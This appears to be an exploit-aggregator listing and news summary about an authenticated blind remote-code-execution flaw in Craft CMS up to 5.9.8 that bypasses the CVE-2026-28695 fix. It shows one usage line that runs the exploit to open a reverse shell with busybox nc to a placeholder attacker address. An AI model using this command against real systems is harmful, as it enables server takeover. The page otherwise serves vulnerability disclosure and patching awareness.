Back Sploitus

Exploit for Improper Neutralization of Special Elements Used in a Template Engine in Craftcms Craft_Cms

Sploitus • September 27, 2026

Authenticated blind remote code execution in Craft CMS. Bypasses the create() - BaseObject restriction added in the CVE-2026-28695 fix (commit e31e508).

python3 exp.py -t -u user -p 'password' -c 'busybox nc ATTACKER_IP ATTACKER_PORT -e /bin/sh'

This script is intended for educational purposes only. The author is not responsible for any misuse or damage caused by this exploit. Always ensure you have permission before testing or exploiting vulnerabilities!

The full story

This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.

Critical RCE Vulnerability in Craft CMS Exploited A newly discovered exploit allows authenticated blind remote code execution (RCE) in Craft CMS versions up to 5.9.8, bypassing the CVE-2026-28695 fix. The vulnerability arises from improper neutralization of special elements in a template engine, specifically through the `create()` method, which was meant to restrict object instantiation to `BaseObject` subclasses. Attackers can leverage this flaw using a crafted payload to execute arbitrary commands on the server. The exploit is confirmed to be active as of September 27, 2026, with proof-of-concept code publicly available. This vulnerability affects all installations of Craft CMS that have not been updated beyond version 5.9.8. Security professionals are urged to assess their systems and apply necessary mitigations immediately. 2 sources 73

Extracted Entities

Exploit for Improper Neutralization of Special Elements Used in a Template Engine in Craftcms Craft_Cms

The full story

Extracted Entities

Attack Types (1)

CVEs (1)

MITRE ATT&CK (1)

Platforms (1)